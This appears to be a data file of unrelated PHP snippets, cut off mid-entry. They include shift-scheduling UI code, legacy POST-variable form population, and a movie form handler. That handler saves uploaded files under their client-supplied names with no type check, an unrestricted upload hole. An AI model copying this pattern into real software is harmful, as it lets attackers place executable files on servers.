$runVer->setLabel('Ver Escala');\n \n //Botão limpa Escalas\n $runLmp = new TButton('runLmp');\n $runLmp->setImage('fa:trash black');\n $runLmp->class = 'btn btn-danger btn-sm';\n $Action = ($this->nivel_sistema>=$this->config[$this->cfg_cls_esc]) ? new TAction(array($this, 'onLimpaEscala')) : new TAction(array($this, 'NoAcess'));\n $runLmp->setAction($Action);\n $runLmp->setLabel('Limpa Escala');\n \n //Botão Carrega OPM na Lista da OPM\n $runOpm = new TButton('runOpm');\n $runOpm->setImage('fa:retweet');\n $runOpm->class = 'btn btn-success btn-sm';\n $Action = new TAction(array($this, 'onSelectOpm_old'));\n $runOpm->setAction($Action);\n $runOpm->setLabel('Carrega OPM');\n \n $table = new TTable();\n $table-> border = '0';\n $table-> cellpadding = '4';\n $table-> style = 'border-collapse:collapse; text-align: center;';\n\n //Monta selecionador\n $hbox1 = new THBox;\n $hbox1->addRowSet( new TLabel('RG:'),$rgmilitar,$addPM,new TLabel('Unidade:'),$opm,new TLabel('Seleciona Inativos?'),$ativo,$runOpm);\n $frame1 = new TFrame;\n $frame1->setLegend('Selecione os PMs ou a OPM');\n $frame1->add($hbox1);\n //Monta Labels das tabelas de distribuição\n $title4 = new TLabel('Listagem da OPM');\n $title4->setFontSize(12);\n $title4->setFontFace('Arial');\n $title4->setFontColor('black');\n $title4->setFontStyle('b');\n \n $title3 = new TLabel('Comandos');\n $title3->setFontSize(12);\n $title3->setFontFace('Arial');\n $title3->setFontColor('black');\n $title3->setFontStyle('b');\n \n $title2 = new TLabel('PMs Selecionados');\n $title2->setFontSize(12);\n $title2->setFontFace('Arial');\n $title2->setFontColor('black');\n $title2->setFontStyle('b');\n \n $title1 = new TLabel('Gestão da Escala');\n $title1->setFontSize(12);\n $title1->setFontFace('Arial');\n $title1->setFontColor('black');\n $title1->setFontStyle('b');\n \n //Botões de Serviço\n $add = new TButton('add_opm');\n $del = new TButton('del_opm');\n $cls = new TButton('clear');\n $ret = new TButton('return');\n \n //Tabelas Auxiliares de Cadastro\n $table_ord = new TTable;//Escalas Ordinárias\n $table_ext = new TTable;//Escalas Extras\n $table_afa = new TTable;//Afastamentos\n\n //Cria no Notebook \n $notebook = new TNotebook(200, 220);\n // Crias as Abas no notebook\n $notebook->appendPage('Ordinária' , $table_ord);\n $notebook->appendPage('Extra' , $table_ext);\n $notebook->appendPage('Afastamento', $table_afa);\n\n //Itens: Escala Ordinária\n $table_ord->addRowSet(array(new TLabel('Escala'),$turno));\n $table_ord->addRowSet(array(new TLabel('De'),$datainicial,new TLabel('A'),$datafinal));\n $table_ord->addRowSet(array(new TLabel('Hora Inicial'),$horaIncialOrdinario));\n $table_ord->addRowSet(array(new TLabel('OPM Informante'),$opm_id_info));\n $table_ord->addRowSet(array(new TLabel('Usar Informante com Atual'),$opm_info_atual));\n $table_ord->addRowSet(array($runLmp,$runOrd));\n //Itens: Escala Extra\n $table_ext->addRowSet(array(new TLabel('Dias'),$diasExtra));\n $table_ext->addRowSet(array(new TLabel('Mês'),$mesExtra,new TLabel('Ano'),$anoExtra));\n $table_ext->addRowSet(array(new TLabel('Hr Início'),$horaInicioExtra,new TLabel('Hrs. Trab.'),$horasTrabalhadas));\n $table_ext->addRowSet(array(new TLabel('Tipo Escala'),$tipoExtra));\n $table_ext->addRowSet($runExt);\n //Itens: Afastamento\n $table_afa->addRowSet(array(new TLabel('Afastamento'),$afasta_id));\n $table_afa->addRowSet(array(new TLabel('De'),$dtinicioaf,new TLabel('A'),$dtfimaf));\n $table_afa->addRowSet(array(new TLabel('BG'),$bgaf,new TLabel('/'),$anobgaf));\n $table_afa->addRowSet(array($runCls,$runAfa));\n\n //Ações\n $add->setAction(new TAction(array($this, 'onAddPMSelect')));\n $del->setAction(new TAction(array($this, 'onDelPMSelect')));\n $cls->setAction(new TAction(array($this, 'onClearSelect')));\n $ret->setAction(new TAction(array($this, 'onReturn')));\n //Labels\n $add->setLabel('Adiciona');\n $del->setLabel('Remove');\n $cls->setLabel('Limpa');\n $ret->setLabel('Volta ao Gerenciador');\n //Icones\n $add->setImage('fa:plus green');\n $del->setImage('fa:minus red');\n $cls->setImage('fa:file-o black');\n $ret->setImage('fa:backward black');\n //Classes\n $ret->class = 'btn btn-warning';\n //PopUps\n if ($this->popAtivo)\n {\n $addPM->popover = 'true';\n $addPM->popside = 'top';\n $addPM->poptitle = 'Seleciona Militar';\n $addPM->popcontent = 'Clique aqui ou tecle ENTER para selecionar o militar.';\n //\n $add->popover = 'true';\n $add->popside = 'top';\n $add->poptitle = 'Adiciona Seleção de Militares';\n $add->popcontent = 'Adiciona o(s) Militar(es) selecionado(s) da caixa Lista da OPM.';\n //\n $del->popover = 'true';\n $del->popside = 'top';\n $del->poptitle = 'Remove Seleção de Militares';\n $del->popcontent = 'Remove o(s) Militar(es) selecionado(s) da caixa Selecionados.';\n //\n $cls->popover = 'true';\n $cls->popside = 'top';\n $cls->poptitle = 'Limpa toda Seleção de Militares';\n $cls->popcontent = 'Remove TODOS os Militares selecionados da caixa Selecionados.';\n //\n $ret->popover = 'true';\n $ret->popside = 'top';\n $ret->poptitle = 'Retorno à Tela de Gerenciamento';\n $ret->popcontent = 'Retorna para a Tela de Gerenciamento do Banco de Horas.<br>A lista e Militares já selecionados permanecerá até o fechamento do sistema.';\n //\n $runOrd->popover = 'true';\n $runOrd->popside = 'top';\n $runOrd->poptitle = 'Gera Escala Ordinária.';\n $runOrd->popcontent = 'São campos necessários:<br>- Turno;<br>- Data inicial e final;<br>- Hora de Início da Escala.';//.\n //\n $runExt->popover = 'true';\n $runExt->popside = 'top';\n $runExt->poptitle = 'Gera Escala Extra';\n $runExt->popcontent = 'São Campos necessários:<br>- Dias (preencher com um ou mais);<br>- Mês e Ano;<br>- Hora Início;<br>'.\n '- Horas Trabalhadas;<br>- Tipo Escala.';\n //\n $runCls->popover = 'true';\n $runCls->popside = 'top';\n $runCls->poptitle = 'Limpa Afastamentos e Restrições (apenas)';\n $runCls->popcontent = 'Use os campos acima como filtro.';\n //\n $runAfa->popover = 'true';\n $runAfa->popside = 'top';\n $runAfa->poptitle = 'Gera Afastamentos e Restrições';\n $runAfa->popcontent = 'São Campos necessários:<br>- Afastamento;<br>- O intervalo de datas.';\n //\n $runVer->popover = 'true';\n $runVer->popside = 'top';\n $runVer->poptitle = 'Verifica a Escala';\n $runVer->popcontent = 'É necessário escolher um militar (um apenas) quer no Campo Lista da OPM quer no Campo Selecionados.';\n //\n $runLmp->popover = 'true';\n $runLmp->popside = 'top';\n $runLmp->poptitle = 'Limpa as Escalas e Afastamentos';\n $runLmp->popcontent = 'Limpa Escalas (ordinária e Extra) e Afastamentos dos militares Selecionados e no intervalo de datas';\n \n $runOpm->popover = 'true';\n $runOpm->popside = 'top';\n $runOpm->poptitle = 'Carrega os militares da Unidade';\n $runOpm->popcontent = 'Carrega os Militares da unidade escolhida filtrando os ativos e inativos conforme se escolhe Sim ou Não no campo Seleciona inativos:';\n }\n //Tabela com Comandos\n $frame_tempo = new TFrame();\n $hboxc = new THBox;\n $hboxc->addRowSet($add);\n $hboxc->addRowSet($del);\n $hboxc->addRowSet($cls);\n $hboxc->addRowSet($runVer);\n $hboxc->addRowSet($ret);\n\n $frame1->add($hboxc);\n $frame1->style = \"width: 100%; display: table-cell; vertical-align: top; text-align: center;\";\n\n //Frame com Lista da OPM\n $vbox2 = new TVBox;\n $frame4 = new TFrame(260,330);\n $frame4->setLegend('Lista de Militares da OPM');\n $frame4->add($lista_opm);\n $frame4->style = \"width: 280px; display: table-cell; vertical-align: top;\";\n $vbox2->add($frame4);\n //Frame de Seleção\n $vbox4 = new TVBox;\n $frame6 = new TFrame(260,330);\n $frame6->setLegend('Militares Selecionados');\n $frame6->add($lista_slc);\n $frame6->style = \"width: 280px; display: table-cell; vertical-align: top;\";\n $vbox4->add($frame6);\n //Frame de Geração\n $vbox5 = new TVBox;\n $frame3 = new TFrame(280,330);\n $frame3->setLegend('Funções de Geração');\n $frame3->add($notebook);\n $frame3->style = \"width: 280px; display: table-cell; vertical-align: top;\";\n $vbox5->add($frame3);\n \n $frame2 = new TFrame;\n $frame2->style = \"width: 100%; display: table-cell; vertical-align: top;\";\n $frame2->add($vbox2);\n $frame2->add($vbox4);\n $frame2->add($vbox5);\n\n $this->form->setFields(array($rgmilitar,$opm,$addPM,$lista_opm,$lista_slc,$opm_info_atual,$opm_id_info,$turno,\n $datafinal,$datainicial,$dtinicioaf,$dtfimaf,$horaIncialOrdinario,$horaInicioExtra,$horasTrabalhadas,\n $diasExtra,$mesExtra,$anoExtra,$bgaf,$anobgaf,$tipoExtra,$afasta_id,$ativo,\n $add,$del,$cls,$ret,$runOrd,$runExt,$runAfa,$runCls,$runVer,$runLmp,$runOpm)); \n // vertical box container\n $container = new TVBox;\n $container->style = 'width: 90%';\n $container->add(new TXMLBreadCrumb('menu.xml', 'bdhManagerForm'));\n $container->add($frame1);\n //$container->add($frame_tempo);\n $container->add($frame2);\n $this->form->add($container);\n\n //parent::add($container);\n parent::add($this->form);\n if ($opm->getValue())\n {\n self::onSelectOpm_old(array('opm'=>$opm->getValue(),'ativo'=>$ativo->getValue()));\n }\n $lista_slc = TSession::getValue(__CLASS__.'_lista_slc');\n self::onLoadPMSelect();\n self::popula_escalas();\n\n }", "function atualizacampos($exclusao=false) {\n if($exclusao==false){\n $this->s152_i_codigo = ($this->s152_i_codigo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_i_codigo\"]:$this->s152_i_codigo);\n $this->s152_i_cbosprofissional = ($this->s152_i_cbosprofissional == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_i_cbosprofissional\"]:$this->s152_i_cbosprofissional);\n $this->s152_i_cgsund = ($this->s152_i_cgsund == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_i_cgsund\"]:$this->s152_i_cgsund);\n $this->s152_i_login = ($this->s152_i_login == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_i_login\"]:$this->s152_i_login);\n $this->s152_i_pressaosistolica = ($this->s152_i_pressaosistolica == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_i_pressaosistolica\"]:$this->s152_i_pressaosistolica);\n $this->s152_i_pressaodiastolica = ($this->s152_i_pressaodiastolica == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_i_pressaodiastolica\"]:$this->s152_i_pressaodiastolica);\n $this->s152_i_cintura = ($this->s152_i_cintura == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_i_cintura\"]:$this->s152_i_cintura);\n $this->s152_n_peso = ($this->s152_n_peso == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_n_peso\"]:$this->s152_n_peso);\n $this->s152_i_altura = ($this->s152_i_altura == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_i_altura\"]:$this->s152_i_altura);\n $this->s152_i_glicemia = ($this->s152_i_glicemia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_i_glicemia\"]:$this->s152_i_glicemia);\n $this->s152_i_alimentacaoexameglicemia = ($this->s152_i_alimentacaoexameglicemia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_i_alimentacaoexameglicemia\"]:$this->s152_i_alimentacaoexameglicemia);\n if($this->s152_d_dataconsulta == \"\"){\n $this->s152_d_dataconsulta_dia = ($this->s152_d_dataconsulta_dia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_d_dataconsulta_dia\"]:$this->s152_d_dataconsulta_dia);\n $this->s152_d_dataconsulta_mes = ($this->s152_d_dataconsulta_mes == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_d_dataconsulta_mes\"]:$this->s152_d_dataconsulta_mes);\n $this->s152_d_dataconsulta_ano = ($this->s152_d_dataconsulta_ano == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_d_dataconsulta_ano\"]:$this->s152_d_dataconsulta_ano);\n if($this->s152_d_dataconsulta_dia != \"\"){\n $this->s152_d_dataconsulta = $this->s152_d_dataconsulta_ano.\"-\".$this->s152_d_dataconsulta_mes.\"-\".$this->s152_d_dataconsulta_dia;\n }\n }\n if($this->s152_d_datasistema == \"\"){\n $this->s152_d_datasistema_dia = ($this->s152_d_datasistema_dia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_d_datasistema_dia\"]:$this->s152_d_datasistema_dia);\n $this->s152_d_datasistema_mes = ($this->s152_d_datasistema_mes == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_d_datasistema_mes\"]:$this->s152_d_datasistema_mes);\n $this->s152_d_datasistema_ano = ($this->s152_d_datasistema_ano == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_d_datasistema_ano\"]:$this->s152_d_datasistema_ano);\n if($this->s152_d_datasistema_dia != \"\"){\n $this->s152_d_datasistema = $this->s152_d_datasistema_ano.\"-\".$this->s152_d_datasistema_mes.\"-\".$this->s152_d_datasistema_dia;\n }\n }\n $this->s152_c_horasistema = ($this->s152_c_horasistema == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_c_horasistema\"]:$this->s152_c_horasistema);\n $this->s152_n_temperatura = ($this->s152_n_temperatura == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_n_temperatura\"]:$this->s152_n_temperatura);\n $this->s152_evolucao = ($this->s152_evolucao == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_evolucao\"]:$this->s152_evolucao);\n $this->s152_perimetrocefalico = ($this->s152_perimetrocefalico == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_perimetrocefalico\"]:$this->s152_perimetrocefalico);\n $this->s152_frequenciarespiratoria = ($this->s152_frequenciarespiratoria == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_frequenciarespiratoria\"]:$this->s152_frequenciarespiratoria);\n $this->s152_frequenciacardiaca = ($this->s152_frequenciacardiaca == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_frequenciacardiaca\"]:$this->s152_frequenciacardiaca);\n if($this->s152_dum == \"\"){\n $this->s152_dum_dia = ($this->s152_dum_dia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_dum_dia\"]:$this->s152_dum_dia);\n $this->s152_dum_mes = ($this->s152_dum_mes == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_dum_mes\"]:$this->s152_dum_mes);\n $this->s152_dum_ano = ($this->s152_dum_ano == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_dum_ano\"]:$this->s152_dum_ano);\n if($this->s152_dum_dia != \"\"){\n $this->s152_dum = $this->s152_dum_ano.\"-\".$this->s152_dum_mes.\"-\".$this->s152_dum_dia;\n }\n }\n $this->s152_saturacao = ($this->s152_saturacao == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_saturacao\"]:$this->s152_saturacao);\n $this->s152_subjetivo = ($this->s152_subjetivo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_subjetivo\"]:$this->s152_subjetivo);\n }else{\n $this->s152_i_codigo = ($this->s152_i_codigo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"s152_i_codigo\"]:$this->s152_i_codigo);\n }\n }", "public function GetFormPostedValues() {\n\t\t$req_fields=array(\"description\",\"date_open\",\"date_closed\");\n\n\t\tfor ($i=0;$i<count($req_fields);$i++) {\n\n\t\t\t//echo $_POST['application_id'];\n\t\t\tif (ISSET($_POST[$req_fields[$i]]) && !EMPTY($_POST[$req_fields[$i]])) {\n\t\t\t\t$this->SetVariable($req_fields[$i],EscapeData($_POST[$req_fields[$i]]));\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//echo \"<br>\".$this->req_fields[$i].\"<br>\";\n\t\t\t\t$this->$req_fields[$i]=\"\";\n\t\t\t}\n\t\t}\n\t}", "public function input() {\n $this->is_loggedIn();\n $this->is_admin();\n // Populate username for form field username\n $operators = $this->populateOperator();\n // Populate vin for form field plate_number and serial_number\n $plate_number = $this->populateVin();\n $data = [\n 'username'=>$operators['username'],\n 'oId'=>$operators['oId'],\n 'plate_number'=>$plate_number,\n ];\n $this->load->view('template_administrator/header');\n $this->load->view('template_administrator/sidebar');\n $this->load->view('administrator/lk_dt_form',$data);\n $this->load->view('template_administrator/footer');\n }", "function evt__form_pase__modificacion($datos)\r\n\t{\r\n $car=$this->controlador()->dep('datos')->tabla('cargo')->get();\r\n $datos['id_cargo']=$car['id_cargo'];\r\n \r\n \r\n //print_r($pase_nuevo);exit;\r\n if($this->dep('datos')->tabla('pase')->esta_cargada()){//es modificacion\r\n $pas=$this->dep('datos')->tabla('pase')->get();\r\n if($pas['tipo']<>$datos['tipo']){\r\n toba::notificacion()->agregar('no puede cambiar el tipo del pase', 'info'); \r\n }else{\r\n $this->dep('datos')->tabla('pase')->set($datos);\r\n $this->dep('datos')->tabla('pase')->sincronizar();\r\n }\r\n }else{//es alta de un pase nuevo\r\n $this->dep('datos')->tabla('pase')->set($datos);\r\n $this->dep('datos')->tabla('pase')->sincronizar();\r\n $pase_nuevo=$this->dep('datos')->tabla('pase')->get();\r\n $p['id_pase']=$pase_nuevo['id_pase'];\r\n $this->dep('datos')->tabla('pase')->cargar($p);//lo cargo para que se sigan viendo los datos en el formulario\r\n if($datos['tipo']=='T'){//si el pase es temporal\r\n //ingreso un cargo en la unidad destino\r\n //la ingresa con fecha de alta = desde\r\n $nuevo_cargo['id_persona']=$car['id_persona'];\r\n $nuevo_cargo['codc_carac']=$car['codc_carac'];\r\n $nuevo_cargo['codc_categ']=$car['codc_categ'];\r\n $nuevo_cargo['codc_agrup']=$car['codc_agrup'];\r\n $nuevo_cargo['chkstopliq']=$car['chkstopliq'];\r\n $nuevo_cargo['fec_alta']=$datos['desde'];\r\n $nuevo_cargo['pertenece_a']=$datos['destino'];\r\n $nuevo_cargo['generado_x_pase']=$pase_nuevo['id_pase']; \r\n $res=$this->controlador()->dep('datos')->tabla('cargo')->agregar_cargo($nuevo_cargo);\r\n if($res==1){\r\n toba::notificacion()->agregar('Se ha creado un nuevo cargo en el destino del pase', 'info');\r\n }\r\n \r\n }else{//pase definitivo entonces tengo que modificar la fecha del cargo en la unidad destino con la fecha de alta del definitivo\r\n $nuevafecha = strtotime ( '-1 day' , strtotime ( $datos['desde'] ) ) ;\r\n $nuevafecha = date ( 'Y-m-d' , $nuevafecha );\r\n //print_r($nuevafecha);exit;\r\n $salida=$this->controlador()->dep('datos')->tabla('cargo')->modificar_alta($datos['id_cargo'],$datos['destino'],$datos['desde']);\r\n //le coloca fecha de baja al cargo de la unidad origen\r\n $this->controlador()->dep('datos')->tabla('cargo')->finaliza_cargo($datos['id_cargo'],$nuevafecha);\r\n if($salida==1){\r\n toba::notificacion()->agregar('Se ha modificado la fecha del cargo generado a partir del pase temporal', 'info');\r\n }\r\n \r\n } \r\n }\r\n \r\n\t}", "function ToonFormulierAfspraak()\n{\n\n}", "public function applyDefaultValues()\n {\n $this->create_date = '2021-06-07 11:49:57';\n $this->last_update = '2021-06-07 11:49:57';\n $this->last_sync = '1901-01-01 00:00:00';\n $this->jml_jamban_l_g = '0';\n $this->jml_jamban_l_tg = '0';\n $this->jml_jamban_p_g = '0';\n $this->jml_jamban_p_tg = '0';\n $this->jml_jamban_lp_g = '0';\n $this->jml_jamban_lp_tg = '0';\n $this->tipe_jamban = '9';\n $this->a_sedia_pembalut = '0';\n $this->a_tempat_sampah_kelas = '0';\n $this->a_tempat_sampah_tutup_p = '0';\n $this->a_cermin_jamban_p = '0';\n $this->a_memiliki_tps = '0';\n $this->a_tps_angkut_rutin = '0';\n $this->a_anggaran_sanitasi = '0';\n $this->a_melibatkan_sanitasi_siswa = '0';\n }", "function atualizacampos($exclusao=false) {\n if($exclusao==false){\n $this->x40_codcorte = ($this->x40_codcorte == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_codcorte\"]:$this->x40_codcorte);\n if($this->x40_dtinc == \"\"){\n $this->x40_dtinc_dia = ($this->x40_dtinc_dia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_dtinc_dia\"]:$this->x40_dtinc_dia);\n $this->x40_dtinc_mes = ($this->x40_dtinc_mes == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_dtinc_mes\"]:$this->x40_dtinc_mes);\n $this->x40_dtinc_ano = ($this->x40_dtinc_ano == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_dtinc_ano\"]:$this->x40_dtinc_ano);\n if($this->x40_dtinc_dia != \"\"){\n $this->x40_dtinc = $this->x40_dtinc_ano.\"-\".$this->x40_dtinc_mes.\"-\".$this->x40_dtinc_dia;\n }\n }\n $this->x40_usuario = ($this->x40_usuario == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_usuario\"]:$this->x40_usuario);\n $this->x40_anoini = ($this->x40_anoini == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_anoini\"]:$this->x40_anoini);\n $this->x40_anofim = ($this->x40_anofim == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_anofim\"]:$this->x40_anofim);\n $this->x40_entrega = ($this->x40_entrega == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_entrega\"]:$this->x40_entrega);\n $this->x40_rua = ($this->x40_rua == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_rua\"]:$this->x40_rua);\n $this->x40_vlrminimo = ($this->x40_vlrminimo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_vlrminimo\"]:$this->x40_vlrminimo);\n $this->x40_sql = ($this->x40_sql == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_sql\"]:$this->x40_sql);\n $this->x40_codsituacao = ($this->x40_codsituacao == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_codsituacao\"]:$this->x40_codsituacao);\n $this->x40_zona = ($this->x40_zona == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_zona\"]:$this->x40_zona);\n $this->x40_tipomatricula = ($this->x40_tipomatricula == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_tipomatricula\"]:$this->x40_tipomatricula);\n }else{\n $this->x40_codcorte = ($this->x40_codcorte == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x40_codcorte\"]:$this->x40_codcorte);\n }\n }", "function geraClasseDadosFormulario(){\n # Abre o template da classe basica e armazena conteudo do modelo\n $modelo1 = Util::getConteudoTemplate('class.Modelo.DadosFormulario.tpl');\n $modelo2 = Util::getConteudoTemplate('metodoDadosFormularioCadastro.tpl');\n\n # Abre arquivo xml para navegacao\n $aBanco = simplexml_load_string($this->xml);\n\n # Varre a estrutura das tabelas\n foreach($aBanco as $aTabela){\n $nomeClasse = ucfirst($this->getCamelMode($aTabela['NOME']));\n\n $copiaModelo1 = $modelo1;\n $copiaModelo2 = $modelo2;\n\n # varre a estrutura dos campos da tabela em questao\n $camposForm = $aModeloFinal = array();\n foreach($aTabela as $oCampo){\n # recupera campo e tabela e campos (chave estrangeira)\n $nomeCampoOriginal = (string)$oCampo->NOME;\n $nomeCampo \t = $nomeCampoOriginal;\n //$nomeCampo \t = $nomeCampoOriginal;\n\n # monta parametros a serem substituidos posteriormente\n switch ((string)$oCampo->TIPO) {\n case 'date':\n $camposForm[] = \"\\$post[\\\"$nomeCampoOriginal\\\"] = Util::formataDataFormBanco(strip_tags(addslashes(trim(\\$_REQUEST[\\\"$nomeCampoOriginal\\\"]))));\";\n break;\n\n case 'datetime':\n case 'timestamp':\n $camposForm[] = \"\\$post[\\\"$nomeCampoOriginal\\\"] = Util::formataDataHoraFormBanco(strip_tags(addslashes(trim(\\$_REQUEST[\\\"$nomeCampoOriginal\\\"]))));\";\n break;\n\n default:\n if((int)$oCampo->CHAVE == 1)\n if((string)$aTabela['TIPO_TABELA'] != 'NORMAL')\n $camposForm[] = \"\\$post[\\\"$nomeCampoOriginal\\\"] = strip_tags(addslashes(trim(\\$_REQUEST[\\\"$nomeCampoOriginal\\\"])));\";\n else\n $camposForm[] = \"if(\\$acao == 2){\\n\\t\\t\\t\\$post[\\\"$nomeCampoOriginal\\\"] = strip_tags(addslashes(trim(\\$_REQUEST[\\\"$nomeCampoOriginal\\\"])));\\n\\t\\t}\";\n else\n $camposForm[] = \"\\$post[\\\"$nomeCampoOriginal\\\"] = strip_tags(addslashes(trim(\\$_REQUEST[\\\"$nomeCampoOriginal\\\"])));\";\n break;\n }\n }\n # monta demais valores a serem substituidos\n $camposForm = join($camposForm,\"\\n\\t\\t\");\n\n # substitui todas os parametros pelas variaveis ja processadas\n $copiaModelo2 = str_replace('%%NOME_CLASSE%%', $nomeClasse, $copiaModelo2);\n $copiaModelo2 = str_replace('%%ATRIBUICAO%%', $camposForm, $copiaModelo2);\n\n $aModeloFinal[] = $copiaModelo2;\n }\n\n $modeloFinal = str_replace('%%FUNCOES%%', join(\"\\n\\n\", $aModeloFinal), $copiaModelo1);\n $dir = dirname(dirname(__FILE__)).\"/geradas/\".$this->projeto.\"/classes\";\n if(!file_exists($dir)) \n mkdir($dir);\n\n $fp = fopen(\"$dir/class.DadosFormulario.php\",\"w\");\n fputs($fp, $modeloFinal);\n fclose($fp);\n return true;\t\n }", "function form_init_elements()\r\n {\r\n $this->add_hidden_element(\"swimmeetid\") ;\r\n\r\n // This is used to remember the action\r\n // which originated from the GUIDataList.\r\n \r\n $this->add_hidden_element(\"_action\") ;\r\n }", "function eurami_settings() {\n $form['accreditation'] = array(\n '#type' => 'fieldset',\n '#title' => t('Accreditation'),\n '#collapsible' => TRUE,\n '#collapsed' => FALSE,\n );\n \n $form['accreditation']['accr_survey_nid'] = array(\n '#type' => 'textfield',\n '#title' => t('Client survey ID'),\n '#description' => t('The node id of the current survey used for the client accreditation'),\n '#default_value' => variable_get('accr_survey_nid', ''),\n );\n \n $form['accreditation']['accr_survey_auditor_nid'] = array(\n '#type' => 'textfield',\n '#title' => t('Auditor survey ID'),\n '#description' => t('The node id of the current survey used for the auditor accreditation'),\n '#default_value' => variable_get('accr_survey_auditor_nid', ''),\n );\n \n $form['accreditation']['company_created_msg'] = array(\n '#type' => 'textarea',\n '#title' => t('Message company created'),\n '#maxlength' => 255,\n '#description' => t('The message shown to the user if a company is created'),\n '#default_value' => variable_get('company_created_msg', ''),\n );\n \n $form['accreditation']['mother_poll'] = array(\n '#type' => 'textfield',\n '#title' => t('Base poll ID'),\n '#description' => t('The base poll that is copied for each accreditation.'),\n '#default_value' => variable_get('mother_poll', ''),\n );\n\n return system_settings_form($form);\n}", "public function prepareVars()\n {\n $this->vars['name'] = $this->formField->getName();\n\n $this->vars['model'] = $this->model;\n $this->vars['category'] = Kategory::where(\"is_active\", \"1\")->lists('name', 'id');\n if (!empty($this->getLoadValue())) {\n $a= $this->vars['value'] = $this->getLoadValue();\n } else {\n $a= $this->vars['value'] = [];\n }\n }", "protected function procesaFormulario($datos)\n {\n\n $result = array();\n $app = Aplicacion::getSingleton();\n \n $id = $datos['id'] ?? null;\n\n $title = $datos['title'] ?? null;\n if ( empty($title) ) {\n $result['title'] = \"El nombre de la película no puede quedar vacío.\";\n }\n\n $date_released = $datos['date_released'] ?? null;\n if ( empty($date_released) ) {\n $result['date_released'] = \"La fecha no puede quedar vacía.\";\n }\n\n $duration = $datos['duration'] ?? null;\n if (!is_numeric($duration)) {\n $result['duration'] = \"La duración debe ser un número\";\n } else if ( empty($duration) || $duration < 0 ) {\n $result['duration'] = \"La película debe tener una duración positiva\";\n }\n\n $country = $datos['country'] ?? null;\n if ( empty($country)) {\n $result['country'] = \"El país no puede quedar vacío\";\n }\n\n $plot = $datos['plot'] ?? null;\n if ( empty($plot)) {\n $result['plot'] = \"La película debe tener una trama\";\n }\n\n $link = $datos['link'] ?? null;\n $price = $datos['price'] ?? null;\n if (empty($link) && !empty($price)) {\n $result['link'] = \"Has añadido el precio, pero no el link. Añádelo\";\n } else if (!empty($link) && empty($price)) {\n $result['price'] = \"Has añadido el link, pero no el precio. Añádelo\";\n } else if (!empty($link) && !empty($price)) {\n if (!is_numeric($price)) {\n $result['price'] = \"El precio debe ser un número\";\n }else if ( $price < 2 ) {\n $result['price'] = \"El precio debe ser mayor que 0\";\n }\n }\n\n $image = $datos['image'] ?? null;\n $dir_subida = './img/peliculas/';\n $fichero_subido = $dir_subida . basename($_FILES['image']['name']);\n if (!move_uploaded_file($_FILES['image']['tmp_name'], $fichero_subido) && !empty($_FILES['image']['name'])) {\n $result['image'] = $_FILES['image']['name'].\"El fichero no se ha podido subir correctamente\";\n }\n\n $genres = $datos['genres'] ?? null;\n\n $actors = $datos['actors'] ?? null;\n\n $directors = $datos['directors'] ?? null;\n \n $prevPage = $datos['prevPage'] ?? null;\n\n if (count($result) === 0) {\n if ($app->usuarioLogueado() && ($app->esGestor() || $app->esAdmin())) {\n $pelicula = Pelicula::editar($id, $title, $_FILES['image']['name'], $date_released, $duration, $country, $plot, $link, $price);\n\n Pelicula::actualizarGeneros($pelicula, $genres);\n\n Pelicula::actualizarActoresDirectores($pelicula, $actors, $directors);\n if ( ! $pelicula ) {\n $result[] = \"La película ya existe\";\n } else {\n $result = \"{$prevPage}\";\n }\n }\n }\n return $result;\n }", "protected function getPostValues() {}", "public static function getFormComponents(): array {\n return [\n 'title' => ['attr' => ['required' => true, 'maxlength' => AppConstants::INDEXED_STRINGS_MAXIMUM_LENGTH, 'minlength' => AppConstants::STRINGS_MINIMUM_LENGTH]],\n 'status' => ['type' => 'translated', 'attr' => ['required' => true, 